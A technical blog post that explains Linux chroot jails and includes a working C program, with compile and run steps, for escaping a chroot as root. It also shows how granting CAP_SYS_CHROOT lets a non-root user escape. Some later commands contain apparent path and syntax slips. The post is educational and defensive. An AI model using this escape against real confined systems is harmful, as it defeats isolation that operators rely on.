Chroot Jailing

kuniga.me > NP-Incompleteness > Chroot Jailing

Chroot Jailing

19 Apr 2021

In this post we’ll study how to use the utlity chroot to create a jailed environment. We’ll also cover some security holes with this approach.

A Simple Chroot Environment

The chroot command can be used to redefine the filesystem tree root as a new directory [1]. If we want a directory, say $HOME/root/, to be our new root, we can start a bash shell as:

mkdir $HOME/root/
sudo chroot $HOME/root/

This will fail with:

chroot: failed to run command ‘/bin/bash’: No such file or directory

The problem is that because $HOME/root/ is empty, there are no binaries available, so we won’t be able to do much.

We can use a simple Bash script to copy the binaries and their dependencies to the new root directory.

setup.sh:

# binaries we want in our chroot
bins=( "/bin/bash" "/bin/ls" "/bin/mkdir" )

NEW_ROOT="$HOME/root"

for bin_file in "${bins[@]}"
do

    # copy binaries
    bin_dir=$(dirname $bin_file)
    mkdir -p $NEW_ROOT$bin_dir
    cp $bin_file $NEW_ROOT$bin_dir

    deps=$(ldd $bin_file)

    # copy dependencies from binaries
    while read -r dep; do
        # ldd returns too much info. we're only interested
        # in the actual files
        dep_file=$(echo $dep | grep -o "\/[a-z0-9_\.\/\-]*")
        if [ ! -z "$dep_file" ]
        then
           dep_dir=$(dirname $dep_file)
           mkdir -p $NEW_ROOT$dep_dir
           cp $dep_file $NEW_ROOT$dep_dir
        fi
    done <<< "$deps"

done

This adds /bin/bash, /bin/ls, /bin/mkdir and their dependencies to the chroot environment. We can now do:

./setup.sh
sudo chroot $HOME/root/ /bin/bash

and in there, inspect the root directory:

$ ls /
bin  lib  lib64

note we can’t go beyond that:

$ cd /
$ cd ..
$ ls
bin  lib  lib64

It’s worth noting that chroot does not clone the subtree under the new root in any way. chroot seems to only impose restrictions on accesses above the new root.

We can verify that by creating a new directory inside the jailed environment:

$mkdir hello

If we exit the chroot (e.g. with ctrl+d) and return to the original process, we’ll see the directory is still in $HOME/root/.

Escaping chroot

It’s possible to “escape” from a chrooted environment if we have root access and a C binary smuggled in. [2] provides the following code (comments added):

escape.c:

#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>

#define TEMP_DIR "hole"

int main() {

    int dir_fd, i;

    mkdir(TEMP_DIR, 0755);
    // grab a reference to the current directory
    // since chroot() will change it
    dir_fd = open(".", O_RDONLY);

    chroot(TEMP_DIR);

    // chroot didn't close the dir_fd, so we can
    // use it to switch back to the previous
    // directory
    fchdir(dir_fd);
    close(dir_fd);

    // climb up to the top of the directory enough times
    for(i = 0; i < 1000; i++) {
      chdir("..");
    }

    chroot(".");

    return execl("/bin/sh", "-i", NULL);
}

The exploit seems to rely on a behavior of chroot which removes whatever restrictions from the current chroot environment once a new one is created, so if we have a reference to the directory from the first chroot, it’s possible to climb up to the root directory of the original process.

Men looking through a tunnel: scene from Shawshank Redemption
Scene from Shawshank Redemption

Before doing the chroot, we compile and add the binary to the chroot target directory:

./setup.sh
gcc -static escape.c -o $HOME/root/escape
sudo chroot $HOME/root/ /bin/bash

Inside the chroot:

./escape
ls

which should display the contents from the original process.

Chroot for non-root

By default, the chroot process has root privileges, but it’s possible to start it as a specific user and group, so that we restrict what operations can be performed inside the chroot. For example, if test_user is a user we want make a chroot to for, we can do:

sudo chroot --userspec "test_user:test_user" $HOME/root/ /bin/bash

The problem is that since the owner of $HOME/root/ is not test_user, they won’t be able to do anything. We can create a home folder for them:

setup.sh:

...
mkdir -p $NEW_ROOT"/home"
sudo chown test_user:test_user $NEW_ROOT"/home"

We then generate the escape binary in the new home:

./setup.sh
gcc -static escape.c -o $HOME/root/escape/home
sudo chroot "test_user:test_user" $HOME/root/ /bin/bash

Inside the chroot:

home/./escape
ls

Since chroot requires root privileges, they won’t be able to break out of the jail using the escape binary, so ls should still show the jailed directories.

CAP_SYS_CHROOT capability

There’s a more granular permission model than root which is called capabilities. It’s possible to grant capabilities to binaries so they can perform operations even without root privileges.

One of them is the ability to run chroot, the CAP_SYS_CHROOT capability. We can add it to our smuggled binary.

setup.sh:

...
gcc -static escape.c -o $HOME/root/escape/home
sudo setcap 'cap_sys_chroot+ep' $NEW_ROOT"/home/escape"

Now test_user we’ll be able to escape the jail even without root privileges.

This makes it hard to detect if there’s a vulnerability inside a chroot environment. Hence it seems to be a general recommendation to not rely on chroot for security purposes [3].

Code

The full code for escape.c and setup.sh are available on Github.

References